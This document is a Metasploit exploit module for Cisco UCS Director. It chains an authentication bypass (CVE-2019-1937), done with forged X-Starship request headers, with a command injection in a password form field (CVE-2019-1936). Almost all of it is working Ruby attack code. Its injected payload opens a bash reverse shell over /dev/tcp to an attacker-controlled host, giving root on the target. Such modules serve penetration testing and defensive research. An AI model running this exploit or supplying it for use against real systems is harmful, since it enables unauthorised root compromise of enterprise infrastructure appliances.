Cisco UCS Director Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',  
'Description' => %q{  
The Cisco UCS Director virtual appliance contains two flaws that can be combined  
and abused by an attacker to achieve remote code execution as root.  
The first one, CVE-2019-1937, is an authentication bypass, that allows the  
attacker to authenticate as an administrator.  
The second one, CVE-2019-1936, is a command injection in a password change form,  
that allows the attacker to inject commands that will execute as root.  
This module combines both vulnerabilities to achieve the unauthenticated command  
injection as root.  
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.  
Note that Cisco also mentions in their advisory that their IMC Supervisor and  
UCS Director Express are also affected by these vulnerabilities, but this module  
was not tested with those products.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2019-1937' ], # auth bypass  
[ 'CVE', '2019-1936' ], # command injection  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],  
[ 'URL', 'FULL_DISC' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]  
],  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' =>  
{  
'payload' => 'cmd/unix/reverse_bash',  
},  
'Targets' =>  
[  
[ 'Cisco UCS Director < 6.7.2.0', {} ],  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 21 2019'  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Connect with TLS', true]),  
OptString.new('TARGETURI', [true, "Default server path", '/']),  
])  
end  
  
def check  
# can't think of anything better then this  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),  
'method' => 'GET'  
})  
if res and res.code == 302  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
# step 1: get a JSESSIONID cookie  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),  
'method' => 'GET'  
)  
  
if res and (res.code == 200 or res.code == 302)  
jsession = res.get_cookies.split(';')[0]  
  
# step 2: authenticate our cookie as admin  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),  
'cookie' => jsession,  
'vars_get' =>  
{  
'apiName' => 'GetUserInfo'  
},  
'headers' =>  
{  
# X-Requested-With and Referer headers are needed, else the server ignores us  
# The X-Starship headers are the key to this auth bypass vuln, see the References  
'X-Requested-With' => 'XMLHttpRequest',  
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",  
'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}",  
'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}"  
},  
'method' => 'GET'  
})  
  
if res and res.code == 200 and res.body.include?("admin")  
if not res.get_cookies.empty?  
# if the server returns a new cookie, use that  
jsession = res.get_cookies.split(';')[0]  
end  
print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")  
  
# step 3: request our reverse shell  
payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),  
'cookie' => jsession,  
'headers' =>  
{  
# X-Requested-With and Referer headers are needed, else the server ignores us  
# The X-Starship headers are the key to this auth bypass vuln, see the References  
'X-Requested-With' => 'XMLHttpRequest',  
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",  
},  
'method' => 'POST',  
'vars_post' =>  
{  
'formatType' => 'json',  
'apiName' => 'ExecuteGenericOp',  
'serviceName' => 'InfraMgr',  
'opName' => 'doFormSubmit',  
'opData' => payload  
}  
})  
if res and res.code == 200  
print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")  
end  
else  
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")  
end  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")  
end  
end  
end  
`